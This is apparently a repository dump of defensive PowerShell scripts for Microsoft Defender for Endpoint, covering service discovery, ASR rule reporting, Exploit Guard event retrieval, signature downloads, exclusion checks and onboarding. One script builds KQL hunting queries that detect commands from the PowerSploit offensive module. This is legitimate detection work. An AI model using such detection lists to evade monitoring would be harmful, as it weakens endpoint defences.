9 | Name: Windows Defender Advanced Threat Protection Service
10 | ServiceName: Sense
11 | Path: "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
12 | #>
13 |
14 |
15 | # Defender Service
16 | $service = Get-WmiObject win32_service | Select-Object * | where name -Like "*WinDefend*"
17 | write-host "Name: $($service.Caption)"
18 | Write-host "ServiceName: $($service.Name)"
19 | write-host "Path: $($service.PathName)"
20 |
21 | <#
22 | Name: Microsoft Defender Antivirus Service
23 | ServiceName: WinDefend
24 | Path: "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MsMpEng.exe"
25 | #>
26 |
27 |
28 | # Connected User Experience
29 | $service = Get-WmiObject win32_service | Select-Object * | where name -Like "*DiagTrack*"
30 | write-host "Name: $($service.Caption)"
31 | Write-host "ServiceName: $($service.Name)"
32 | write-host "Path: $($service.PathName)"
33 | <#
34 | Name: Connected User Experiences and Telemetry
35 | ServiceName: DiagTrack
36 | Path: C:\WINDOWS\System32\svchost.exe -k utcsvc -p
37 | #>
38 |
39 |
40 | #Defender Executables
41 | $defenderfiles = Get-ChildItem -Path "C:\ProgramData\Microsoft\Windows Defender\Platform" -Filter "*.exe" -Recurse
42 | $defenderfiles | Select-Object Fullname
43 |
44 | <#
45 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\ConfigSecurityPolicy.exe
46 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\MpCmdRun.exe
47 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\MpDlpCmd.exe
48 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\MsMpEng.exe
49 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\NisSrv.exe
50 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2007.8-0\X86\MpCmdRun.exe
51 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe
52 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe
53 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpDlpCmd.exe
54 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MsMpEng.exe
55 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\NisSrv.exe
56 | C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\X86\MpCmdRun.exe
57 | #>
58 |
59 |
60 | #Defender ATP Executables
61 | <#
62 | "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
63 | "C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe"
64 | "C:\Program Files\Windows Defender Advanced Threat Protection\SenseIR.exe"
65 | "C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe"
66 | #>
67 |
68 |
69 |
70 |
71 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/DefenderASR/ASR_Analyzer_v2.2.ps1:
--------------------------------------------------------------------------------
1 | $RulesIds = Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids
2 | $RulesActions = Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Actions
3 | $RulesExclusions = Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionOnlyExclusions
4 |
5 | $RulesIdsArray = @()
6 | $RulesIdsArray += $RulesIds
7 |
8 | $counter = 0
9 | $TotalNotConfigured = 0
10 | $TotalAudit = 0
11 | $TotalBlock = 0
12 |
13 | ForEach ($i in $RulesActions){
14 | If ($RulesActions[$counter] -eq 0){$TotalNotConfigured++}
15 | ElseIf ($RulesActions[$counter] -eq 1){$TotalBlock++}
16 | ElseIf ($RulesActions[$counter] -eq 2){$TotalAudit++}
17 | $counter++
18 | }
19 |
20 | Write-Host
21 | Write-Host ====================================== ASR Summary ======================================
22 |
23 | Write-Host "=> There's"($RulesIds).Count"rules configured"
24 | Write-Host "=>"$TotalNotConfigured "in Disabled Mode **" $TotalAudit "in Audit Mode **" $TotalBlock "in Block Mode"
25 |
26 | Write-Host
27 | Write-Host ====================================== ASR Rules ======================================
28 |
29 | $counter = 0
30 |
31 | ForEach ($j in $RulesIds){
32 | ## Convert GUID into Rule Name
33 | If ($RulesIdsArray[$counter] -eq "D4F940AB-401B-4EFC-AADC-AD5F3C50688A"){$RuleName = "Block all Office applications from creating child processes"}
34 | ElseIf ($RulesIdsArray[$counter] -eq "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC"){$RuleName = "Block execution of potentially obfuscated scripts"}
35 | ElseIf ($RulesIdsArray[$counter] -eq "92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B"){$RuleName = "Block Win32 API calls from Office macro"}
36 | ElseIf ($RulesIdsArray[$counter] -eq "3B576869-A4EC-4529-8536-B80A7769E899"){$RuleName = "Block Office applications from creating executable content"}
37 | ElseIf ($RulesIdsArray[$counter] -eq "75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84"){$RuleName = "Block Office applications from injecting code into other processes"}
38 | ElseIf ($RulesIdsArray[$counter] -eq "D3E037E1-3EB8-44C8-A917-57927947596D"){$RuleName = "Block JavaScript or VBScript from launching downloaded executable content"}
39 | ElseIf ($RulesIdsArray[$counter] -eq "BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550"){$RuleName = "Block executable content from email client and webmail"}
40 | ElseIf ($RulesIdsArray[$counter] -eq "01443614-cd74-433a-b99e-2ecdc07bfc25"){$RuleName = "Block executable files from running unless they meet a prevalence, age, or trusted list criteria"}
41 | ElseIf ($RulesIdsArray[$counter] -eq "c1db55ab-c21a-4637-bb3f-a12568109d35"){$RuleName = "Use advanced protection against ransomware"}
42 | ElseIf ($RulesIdsArray[$counter] -eq "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2"){$RuleName = "Block credential stealing from the Windows local security authority subsystem (lsass.exe)"}
43 | ElseIf ($RulesIdsArray[$counter] -eq "d1e49aac-8f56-4280-b9ba-993a6d77406c"){$RuleName = "Block process creations originating from PSExec and WMI commands"}
44 | ElseIf ($RulesIdsArray[$counter] -eq "b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4"){$RuleName = "Block untrusted and unsigned processes that run from USB"}
45 | ElseIf ($RulesIdsArray[$counter] -eq "26190899-1602-49e8-8b27-eb1d0a1ce869"){$RuleName = "Block Office communication applications from creating child processes"}
46 | ElseIf ($RulesIdsArray[$counter] -eq "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c"){$RuleName = "Block Adobe Reader from creating child processes"}
47 | ElseIf ($RulesIdsArray[$counter] -eq "e6db77e5-3df2-4cf1-b95a-636979351e5b"){$RuleName = "Block persistence through WMI event subscription"}
48 | ## Check the Action type
49 | If ($RulesActions[$counter] -eq 0){$RuleAction = "Disabled"}
50 | ElseIf ($RulesActions[$counter] -eq 1){$RuleAction = "Block"}
51 | ElseIf ($RulesActions[$counter] -eq 2){$RuleAction = "Audit"}
52 | ## Output Rule Id, Name and Action
53 | Write-Host "=>" $RulesIdsArray[$counter] " **" $RuleName "**" "Action:"$RuleAction
54 | $counter++
55 | }
56 |
57 | Write-Host
58 | Write-Host ====================================== ASR Exclusions ======================================
59 |
60 | $counter = 0
61 |
62 | ## Output ASR exclusions
63 | ForEach ($f in $RulesExclusions){
64 | Write-Host "=>" $RulesExclusions[$counter]
65 | $counter++
66 | }
67 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/DefenderASR/ASR_Rules_PoSh_GUI.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/alexverboon/PowerShellCode/1d9ae558513599bd3a7a542ac80b9473489c9097/DefenderforEndpoint/DefenderASR/ASR_Rules_PoSh_GUI.exe
--------------------------------------------------------------------------------
/DefenderforEndpoint/DefenderASR/Get-DefenderEGEvents.ps1:
--------------------------------------------------------------------------------
1 | Function Get-DefenderEGEvents
2 | {
3 | <#
4 | .Synopsis
5 | Get-DefenderEGEvents
6 |
7 | .DESCRIPTION
8 | Get-DefenderEGEvents retrieves Windows Defender Exploit Guard related events
9 |
10 | .PARAMETER Component
11 | When not specified all Exploit Guard related events are retrieved. Otherwise use
12 |
13 | CFA for Controlled Folder Access
14 | NP for Network Protection
15 | ASR for Attack Surface Rules
16 |
17 | The current version of this function does not yet include events
18 | for Exploit Protetion.
19 |
20 |
21 | .PARAMETER EGMode
22 | Filter for Audit or Block Events
23 |
24 | .PARAMETER MaxEvents
25 | Specifies the maximum number of events that Get-DefenderEGEvents returns. Enter an integer. The default is to return
26 | all the Windows Defender Exploit Guard events in the logs.
27 |
28 | #>
29 | [CmdletBinding()]
30 |
31 | Param
32 | (
33 | # Exploit Guard Component selection
34 | [Parameter(Mandatory=$false,
35 | ValueFromPipelineByPropertyName=$true,
36 | Position=0)]
37 | [ValidateSet('ASR', 'CFA','NP')]
38 | $Component,
39 |
40 | [Parameter(Mandatory=$false,
41 | ValueFromPipelineByPropertyName=$true,
42 | Position=1)]
43 | [ValidateSet('Audit', 'Block')]
44 | $EGMode,
45 |
46 | # MaxEvents
47 | [Parameter(Mandatory=$false,
48 | ValueFromPipelineByPropertyName=$true,
49 | Position=2)]
50 | [int]
51 | $MaxEvents
52 | )
53 |
54 | Begin
55 | {
56 |
57 | If ($Component)
58 | {
59 | $EGComponent = "EG"+"$Component"
60 | }
61 |
62 |
63 | #Controlled Folder Access
64 | # 1124 Audit
65 | # 1123 Block
66 |
67 | # Network Protection
68 | # 1125 Audit
69 | # 1126 Block
70 |
71 | # Attack Surface Rules
72 | # 1121 Block
73 | # 1122 Audit
74 |
75 | $log = @{
76 | Providername = "Microsoft-Windows-Windows Defender"
77 | ID = "1123","1124","1125","1126","1121","1122"
78 | }
79 | }
80 | Process
81 | {
82 | $output = @()
83 | If ($MaxEvents)
84 | {
85 | $events = Get-WinEvent -FilterHashtable $log -MaxEvents $MaxEvents
86 | Write-Verbose "Total $($events.count)"
87 | }
88 | Else
89 | {
90 | $events = Get-WinEvent -FilterHashtable $log
91 | Write-Verbose "Total $($events.count)"
92 | }
93 |
94 | ForEach ($event in $events)
95 | {
96 | Switch ($event.Id)
97 | {
98 | 1124 { $Source = "EGCFA" ; $Mode = "Audit"}
99 | 1123 { $Source = "EGCFA" ; $Mode = "Block"}
100 | 1125 { $Source = "EGNP"; $Mode = "Audit"}
101 | 1126 { $Source = "EGNP" ; $Mode = "Block"}
102 | 1121 { $Source = "EGASR" ; $Mode = "Block"}
103 | 1122 { $Source = "EGASR" ; $Mode = "Audit"}
104 |
105 | Default {$Source = "None" ; $Mode = "None"}
106 | }
107 | $event | Add-Member -MemberType NoteProperty -Name "EGSource" -Value "$Source"
108 | $event | Add-Member -MemberType NoteProperty -Name "EGMode" -Value "$Mode"
109 | $output = $output + $event
110 | }
111 | }
112 | End
113 | {
114 |
115 | If ($Component)
116 | {
117 | Write-Verbose "Component: $($Component)"
118 |
119 | If ($EGMode)
120 | {
121 | Write-Verbose "Mode: $($EGMode)"
122 | $output | Where-Object {$_.EGSource -eq "$EGComponent" -and $_.EGMode -eq "$EGMode"}
123 | }
124 | Else
125 | {
126 | Write-Verbose "Component: $($Component) with no MODE"
127 | $output | Where-Object {$_.EGSource -eq "$EGComponent"}
128 | }
129 | }
130 | Else
131 | {
132 | If ($EGMode)
133 | {
134 | Write-Verbose "Mode: $($EGMode) with no component"
135 | $output | Where-Object {$_.EGMode -eq "$EGMode"}
136 | }
137 | Else
138 | {
139 | Write-Verbose "All"
140 | $output
141 | }
142 | }
143 |
144 | }
145 | }
146 |
147 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/DefenderASR/README.MD:
--------------------------------------------------------------------------------
1 | # Defender ASR
2 |
3 | * [Defender ASR](https://github.com/anthonws/MDATP_PoSh_Scripts)
4 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/Download updates/secupdate.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | ##################################################################################################################
3 | #
4 | # Microsoft Premier Field Engineering
5 | # jesse.esquivel@microsoft.com
6 | # MDATP-Sec-Intel-Packages.ps1
7 | # v1.0 08/05/2019 Initial creation - Download MDATP Security Intelligence Packages
8 | # v1.1 10/16/2019 Bug fix for extraction method, and test for x64 dir
9 | # v1.2 06/08/2020 Revised folder/file copy operations
10 | #
11 | #
12 | # Microsoft Disclaimer for custom scripts
13 | # ================================================================================================================
14 | # The sample scripts are not supported under any Microsoft standard support program or service. The sample scripts
15 | # are provided AS IS without warranty of any kind. Microsoft further disclaims all implied warranties including,
16 | # without limitation, any implied warranties of merchantability or of fitness for a particular purpose. The entire
17 | # risk arising out of the use or performance of the sample scripts and documentation remains with you. In no event
18 | # shall Microsoft, its authors, or anyone else involved in the creation, production, or delivery of the scripts be
19 | # liable for any damages whatsoever (including, without limitation, damages for loss of business profits, business
20 | # interruption, loss of business information, or other pecuniary loss) arising out of the use of or inability to
21 | # use the sample scripts or documentation, even if Microsoft has been advised of the possibility of such damages.
22 | # ================================================================================================================
23 | #
24 | ##################################################################################################################
25 | # Script variables
26 | ##################################################################################################################
27 | #>
28 |
29 | $VBCrLf = "`r`n"
30 | $scriptDir = Split-Path -Path $MyInvocation.MyCommand.Definition -Parent
31 | [System.Diagnostics.EventLog]$evt = New-Object System.Diagnostics.EventLog("Application")
32 | [String]$evt.Source = "MDATP Security Intelligence Package Downloader"
33 | [System.Diagnostics.EventLogEntryType]$infoEvent = [System.Diagnostics.EventLogEntryType]::Information
34 | [System.Diagnostics.EventLogEntryType]$warningEvent = [System.Diagnostics.EventLogEntryType]::Warning
35 | [System.Diagnostics.EventLogEntryType]$errorEvent = [System.Diagnostics.EventLogEntryType]::Error
36 | $vdmpathbase = 'C:\temp\wdav-update\{00000000-0000-0000-0000-'
37 | $vdmpathtime = Get-Date -Format "yMMddHHmmss"
38 | $vdmpath = $vdmpathbase + $vdmpathtime + '}'
39 | $vdmpackage = $vdmpath + '\mpam-fe.exe'
40 |
41 | ##################################################################################################################
42 | # Functions
43 | ##################################################################################################################
44 |
45 | Function startScript()
46 | {
47 | $msg = "Beginning WDAV download tasks from $env:COMPUTERNAME" + $VBCrLf + "@ $(get-date) via PowerShell Script. Logging is enabled."
48 | Write-Host "######################################################################################" -ForegroundColor Yellow
49 | Write-Host "$msg" -ForegroundColor Green
50 | Write-Host "######################################################################################" -ForegroundColor Yellow
51 | Write-Host
52 | log-This $infoEvent $msg
53 | }
54 |
55 | Function log-This()
56 | {
57 | param([System.Diagnostics.EventLogEntryType]$entryType = $infoEvent, [String]$message)
58 | [int]$eventID = 1
59 | switch([System.Diagnostics.EventLogEntryType]$entryType)
60 | {
61 | $infoEvent{$eventId = 411}
62 | $warningEvent{$eventId = 611}
63 | $errorEvent{$eventId = 011}
64 | default{$eventID = 411}
65 | }
66 | try
67 | {
68 | $evt.WriteEntry($message,$entryType,$eventID)
69 | }
70 | catch
71 | {
72 | $msg = "`nDid you remember to register the Eventlog source`n"
73 | $msg += "Try: c:\eventcreate /ID 411 /L APPLICATION /T INFORMATION /SO " + $evt.Source + " /D 'New event source'`n"
74 | $msg += "using an account who has been delegated the user right 'manage auditing and security log'`n"
75 | Write-Host $msg
76 | Write-Host $_.Exception.Message
77 | closescript 1
78 | }
79 | }
80 |
81 | Function Prune-Folders($Daysback, $path)
82 | {
83 | try
84 | {
85 | $currentDate = Get-Date
86 | $dateToDelete = $currentDate.AddDays($Daysback)
87 | Get-ChildItem $path -Recurse | Where-Object{$_.LastWriteTime -lt $dateToDelete -and $_.FullName -ne "x64"} | Remove-Item -Recurse -Force
88 | }
89 | catch
90 | {
91 | Write-Host "Failed to remove folders older than 7 days in $vdmpath with error: $($_.Exception.Message)" -ForegroundColor Red
92 | log-This $errorEvent "Failed to remove folders older than 7 days in $vdmpath with error: $($_.Exception.Message)"
93 | closescript 1
94 | }
95 | }
96 |
97 | Function closeScript($exitCode)
98 | {
99 | if($exitCode -ne 0)
100 | {
101 | Write-Host
102 | Write-Host "######################################################################################" -ForegroundColor Yellow
103 | $msg = "Script execution unsuccessful, and terminted at $(get-date)" + $VBCrLf + "Time Elapsed: ($($elapsed.Elapsed.ToString()))" `
104 | + $VBCrLf + "Examine the script output and previous events logged to resolve errors."
105 | Write-Host $msg -ForegroundColor Red
106 | Write-Host "######################################################################################" -ForegroundColor Yellow
107 | log-This $errorEVent $msg
108 | }
109 | else
110 | {
111 | Write-Host "######################################################################################" -ForegroundColor Yellow
112 | $msg = "Successfully completed script at $(get-date)" + $VBCrLf + "Time Elapsed: ($($elapsed.Elapsed.ToString()))" + $VBCrLf `
113 | + "Review the logs."
114 | Write-Host $msg -ForegroundColor Green
115 | Write-Host "######################################################################################" -ForegroundColor Yellow
116 | log-This $infoEvent $msg
117 | }
118 | exit $exitCode
119 | }
120 |
121 | ##################################################################################################################
122 | # Begin Script
123 | ##################################################################################################################
124 |
125 | $elapsed = [System.Diagnostics.Stopwatch]::StartNew()
126 | StartScript
127 |
128 | Write-Host "*************************************************************************************" -ForegroundColor White
129 | Write-Host "Phase 1 - Fetching Security Intelligence Packages..." -ForegroundColor White
130 | Write-Host "*************************************************************************************" -ForegroundColor White
131 | Write-Host
132 |
133 | Write-Host "Fetching x64 Security Intelligence Package..."
134 | try
135 | {
136 | New-Item -ItemType Directory -Force -path $vdmpath | Out-Null
137 | Invoke-WebRequest -uri 'https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64' -OutFile $vdmpackage -ErrorAction Stop
138 | }
139 | catch
140 | {
141 | Write-Host "Failed to download package: $($_.Exception.Message)" -ForegroundColor Red
142 | Remove-Item -LiteralPath $vdmpath -Force | Out-Null
143 | log-This $errorEvent "Failed to download package https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64 with error: $($_.Exception.Message)"
144 | closescript 1
145 | }
146 |
147 | Write-Host "Success." -ForegroundColor Green
148 | log-This $infoEvent "Successfully fetched Security Intelligence Package: $vdmPackage"
149 | Write-Host
150 |
151 | try
152 | {
153 | Write-Host "Extracting Security Intelligence Package..."
154 | Start-Process C:\windows\system32\cmd.exe -ArgumentList "/c cd $vdmpath & mpam-fe.exe /X" -Wait -WindowStyle Hidden
155 | }
156 | catch
157 | {
158 | Write-Host "Failed to extract security intelligence package $vdmPackage : $($_.Exception.Message)" -ForegroundColor Red
159 | log-This $errorEvent "Failed to extract security intelligence package $vdmPackage : $($_.Exception.Message)"
160 | closescript 1
161 | }
162 |
163 | Write-Host "Success." -ForegroundColor Green
164 | log-This $infoEvent "Successfully extracted Security Intelligence Package: $vdmPackage"
165 | Write-Host
166 |
167 | try
168 | {
169 | Write-Host "Copying extracted files to share..."
170 | Copy-Item -Path $vdmpath -Destination "\\fileserver.fqdn\mdatp$\wdav-update" -Force -Recurse | Out-Null
171 | Remove-Item -Path "\\fileserver.fqdn\mdatp$\wdav-update\{00000000-0000-0000-0000-$vdmpathtime}\mpam-fe.exe" -Force | Out-Null
172 | Get-ChildItem "\\fileserver.fqdn\mdatp$\wdav-update\x64" -Recurse | ForEach-Object {Remove-Item $_.FullName -Recurse -Force}
173 | If(!(Test-Path -Path "\\fileserver.fqdn\mdatp$\wdav-update\x64"))
174 | {
175 | New-Item -ItemType Directory -Force -path "\\fileserver.fqdn\mdatp$\wdav-update\x64" | Out-Null
176 | }
177 | Copy-Item -Path "$vdmpath\mpam-fe.exe" -Destination "\\fileserver.fqdn\mdatp$\wdav-update\x64" -Force -Recurse | Out-Null
178 | }
179 | catch
180 | {
181 | Write-Host "Failed to copy extracted files to share \\fileserver.fqdn\mdatp$\: $($_.Exception.Message)" -ForegroundColor Red
182 | log-This $errorEvent "Failed to copy extracted files to share \\fileserver.fqdn\mdatp$\: $($_.Exception.Message)"
183 | closescript 1
184 | }
185 |
186 | Write-Host "Success." -ForegroundColor Green
187 | log-This $infoEvent "Successfully copied extracted files to share: \\fileserver.fqdn\mdatp$\wdav-update\x64"
188 | Write-Host
189 |
190 | try
191 | {
192 | Write-Host "Pruning Folders older than 7 days..."
193 | Prune-Folders "-7" "\\fileserver.fqdn\mdatp$\wdav-update"
194 | Prune-Folders "-7" "C:\Windows\wdav-update"
195 | }
196 | catch
197 | {
198 | Write-Host "Failed to prune folders older than 7 days: $($_.Exception.Message)" -ForegroundColor Red
199 | log-This $errorEvent "Failed to prune folders older than 7 days: $($_.Exception.Message)"
200 | closescript 1
201 | }
202 |
203 | Write-Host "Success." -ForegroundColor Green
204 | log-This $infoEvent "Successfully pruned folders older than 7 days in C:\Windows\wdav-update, and in \\fileserver.fqdn\mdatp$\wdav-update"
205 | Write-Host
206 |
207 | closescript 0
--------------------------------------------------------------------------------
/DefenderforEndpoint/Eventlog/events.ps1:
--------------------------------------------------------------------------------
1 |
2 | (Get-WinEvent -ListProvider "Microsoft-Windows-Windows Defender").events | Format-Table id, description -AutoSize
3 |
4 | $EventFilter = @{
5 | ID = 1000,1001
6 | ProviderName = "Microsoft-Windows-Windows Defender"
7 | }
8 | Get-WinEvent -FilterHashtable $EventFilter | format-table -autosize
9 |
10 |
11 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/Exclude/exchange.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 0
6 | 0
7 | 0
8 | 0
9 | 0
10 | 0
11 | 0
12 | 0
13 | 0
14 | 0
15 | 0
16 | 0
17 | 0
18 | 0
19 | 0
20 | 0
21 | 0
22 | 0
23 | 0
24 | 0
25 | 0
26 | 0
27 |
28 |
29 | 0
30 | 0
31 | 0
32 | 0
33 | 0
34 | 0
35 | 0
36 | 0
37 | 0
38 | 0
39 | 0
40 | 0
41 |
42 |
43 | 0
44 | 0
45 | 0
46 | 0
47 | 0
48 | 0
49 | 0
50 | 0
51 | 0
52 | 0
53 | 0
54 | 0
55 | 0
56 | 0
57 | 0
58 | 0
59 | 0
60 | 0
61 | 0
62 | 0
63 | 0
64 | 0
65 | 0
66 | 0
67 | 0
68 | 0
69 | 0
70 | 0
71 | 0
72 | 0
73 | 0
74 | 0
75 | 0
76 | 0
77 | 0
78 | 0
79 | 0
80 | 0
81 | 0
82 | 0
83 | 0
84 | 0
85 | 0
86 | 0
87 | 0
88 | 0
89 | 0
90 |
91 |
92 |
93 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/Exclusions/Validate-DefenderExclusoins.ps1:
--------------------------------------------------------------------------------
1 | function Validate-DefenderExclusion
2 | <#
3 | .Synopsis
4 | Validate-DefenderExclusion
5 | .DESCRIPTION
6 | Validate-DefenderExclusion checks whether the specified path or file is excluded.
7 | The cmdlet will return the following information
8 |
9 | - The path of the specified folder or file
10 | - The result of the check, True, False or PathNotFound
11 |
12 | .PARAMETER Path
13 | Specifies a path to a folder or file to be checked
14 | .EXAMPLE
15 |
16 | Validate-DefenderExclusion -Path C:\AutomatedLab-VMs
17 |
18 | Path Excluded
19 | ---- --------
20 | C:\AutomatedLab-VMs True
21 |
22 | This command checks whether the specified folder has a Defender Exclusion
23 |
24 | .NOTES
25 | 1.0, 21.03.2019, alex verboon
26 | #>
27 | {
28 | [CmdletBinding()]
29 | Param
30 | (
31 | [Parameter(Mandatory=$true,
32 | ValueFromPipelineByPropertyName=$true,
33 | Position=0)]
34 | [ValidateNotNullOrEmpty()]
35 | [string]$Path
36 | )
37 | Begin
38 | {
39 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(`
40 | [Security.Principal.WindowsBuiltInRole] “Administrator”))
41 | {
42 | Write-Warning “You do not have Administrator rights to run this script!`nPlease re-run this script as an Administrator!”
43 | Break
44 | }
45 |
46 | # Find the current most recent path of the Defender mpcmdrun.exe
47 | $DefenderPlatformPath = "C:\ProgramData\Microsoft\Windows Defender\Platform"
48 | $mpcmdrunpath = (Get-ChildItem -Path "$DefenderPlatformPath\*\mpcmdrun.exe" | Select-Object * -Last 1).FullName
49 |
50 | If ([string]::IsNullOrEmpty($mpcmdrunpath))
51 | {
52 | Write-Error "Unable to locate mpcmdrun.exe"
53 | }
54 | }
55 | Process
56 | {
57 | $cmdArg = "-CheckExclusion -Path $($Path)"
58 | $CheckResult = Start-Process -FilePath "$mpcmdrunpath" -ArgumentList "$cmdArg" -NoNewWindow -PassThru -Wait
59 | #$CheckResult.ExitCode
60 |
61 | switch ($CheckResult.ExitCode)
62 | {
63 | 0 { $Excluded = "True"}
64 | 1 { $Excluded = "False"}
65 | 2 { $Excluded = "PathNotFound"}
66 | }
67 |
68 | $Result = [ordered]@{
69 | Path = $Path
70 | Excluded = $Excluded
71 | }
72 | $output = (New-Object -TypeName PSObject -Property $Result)
73 |
74 | }
75 | End
76 | {
77 | $output
78 | }
79 | }
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/KQL/New-KQPSModuleFunctions.ps1:
--------------------------------------------------------------------------------
1 | function New-KQPSModuleFunctions
2 | {
3 | <#
4 | .Synopsis
5 | New-KQPSModulecmdlets
6 | .DESCRIPTION
7 | New-KQPSModulecmdlets creates kusto query to search for PowerShell commands
8 | included in the specified PowerShell module name
9 | .PARAMETER ModuleName
10 | The name of the PowerShell module
11 |
12 | .PARAMETER ImportPsd
13 | The path to the PowerShell module psd file
14 |
15 | .PARAMETER Path
16 | The path where the generated kql query is saved
17 |
18 | .EXAMPLE
19 | New-KQPSModuleFunctions -ImportPsd C:\temp\powersploit.psd1
20 |
21 | This command creates a kql query including all functions included in the Powersploit
22 | module and saves the query to the clipboard
23 |
24 | .EXAMPLE
25 | New-KQPSModuleFunctions -ImportPsd C:\temp\powersploit.psd1 -Path C:\Temp
26 |
27 | This command creates a kql query including all functions included in the powersploit
28 | module and saves the query to c:\temp\ps_powersploit.kql
29 |
30 | .EXAMPLE
31 | New-KQPSModuleFunctions -ModuleName netsecurity
32 |
33 | This command creates a kql query including all functions included in the netsecurity
34 | module and saves the query to the clipboard
35 |
36 | .EXAMPLE
37 | New-KQPSModuleFunctions -ModuleName netsecurity -Path c:\temp
38 |
39 | This command creates a kql query including all functions included in the netsecurity
40 | module and saves the query to c:\temp\ps_netsecurity.kql
41 |
42 | .NOTES
43 | Author: Alex Verboon
44 | Date: 11.07.2020
45 | Version 1.0
46 | #>
47 | [CmdletBinding()]
48 | Param
49 | (
50 | # PowerShell Module
51 | [Parameter(ParameterSetName='Module',Mandatory=$true)]
52 | $ModuleName,
53 | # The path to the PowerShell module psd1 file
54 | [Parameter(ParameterSetName='Import',mandatory=$true)]
55 | $ImportPsd,
56 | # The path where the kql query is saved
57 | [Parameter(mandatory=$false)]
58 | $Path
59 | )
60 |
61 | Begin{}
62 | Process
63 | {
64 | If ($ImportPsd){
65 | $psdcontent = Import-PowerShellDataFile -Path $ImportPsd
66 | $PsCmds = ($psdcontent.FunctionsToExport) -join '","'
67 | $ModuleVersion = $psdcontent.ModuleVersion
68 | $ModuleName = (Split-Path $ImportPsd -Leaf).Split(".")[0]
69 | }
70 | Else{
71 | if (-not (Get-Module -ListAvailable -Name $ModuleName)){
72 | Write-Error "Specified Module $ModuleName not found"
73 | break}
74 | $PsCmds = (get-command -Module "$ModuleName").Name -join '","'
75 | $ModuleInfo = Get-Module -Name "$ModuleName"
76 | $ModuleVersion = $ModuleInfo.Version
77 | }
78 | $let = 'let pscommands = dynamic ([' + '"' + $PsCmds + '"' + ']);'
79 | $kqlquery = @"
80 | // Search for PowerShell commands included in the PowerShell module: $ModuleName Version:$ModuleVersion)
81 | $let
82 | DeviceEvents
83 | | where ActionType contains "PowerShellCommand"
84 | | where AdditionalFields has_any (pscommands)
85 | "@
86 | }
87 | End{
88 | If($Path){
89 | If (Test-Path $Path){
90 | Write-Output "Saving KQL query to $path\kql_$ModuleName.kql"
91 | Set-Content -Path "$path\ps_$ModuleName.kql" -Value $kqlquery -Force
92 | }
93 | }
94 | Else{
95 | Write-Output "KQL query saved to clipboard"
96 | $kqlquery | clip
97 | }
98 | }
99 | }
100 |
--------------------------------------------------------------------------------
/DefenderforEndpoint/KQL/kql_internals_2020.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/alexverboon/PowerShellCode/1d9ae558513599bd3a7a542ac80b9473489c9097/DefenderforEndpoint/KQL/kql_internals_2020.pdf
--------------------------------------------------------------------------------
/DefenderforEndpoint/Onboarding/CI Scripts/CI_DefenderOnboarding_Discovery.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | CI_DefenderOnboarding_Discovery.ps1
4 | .DESCRIPTION
5 | Script for Configuration Manager - Configuration Item
6 | CI_DefenderOnboarding_Discovery checks the Defender for Endpoint onboarding state
7 | .NOTES
8 | v1.0, 25.02.2021, alex verboon
9 | #>
10 |
11 | Try{
12 | $registryValue = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status"
13 | if($registryValue.OnboardingState -eq 1){
14 | return $True
15 | }else{
16 | return $False
17 | }
18 | }Catch{
19 | $False
20 | }
--------------------------------------------------------------------------------
/DefenderforEndpoint/Onboarding/CI Scripts/CI_DefenderOnboarding_Remediation.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | CI_DefenderOnboarding_Remediation
4 | .DESCRIPTION
5 | Script for Configuration Manager - Configuration Item
6 | CI_DefenderOnboarding_Remediation reruns the MDE onboarding script
7 |
8 | Use the Convert-MDEOnboardingBase64.ps1 to convert the MDE onboarding script
9 | into a base64 string that is used for the variable $Base64OnboardingString defined
10 | in the script below
11 |
12 | .NOTES
13 | v1.0, 25.02.2021, alex verboon
14 | #>
15 |
16 | Try{
17 | $Base64OnboardingString = ""
18 | $utf8ByteArray = [System.Convert]::FromBase64String($base64OnBoardingString)
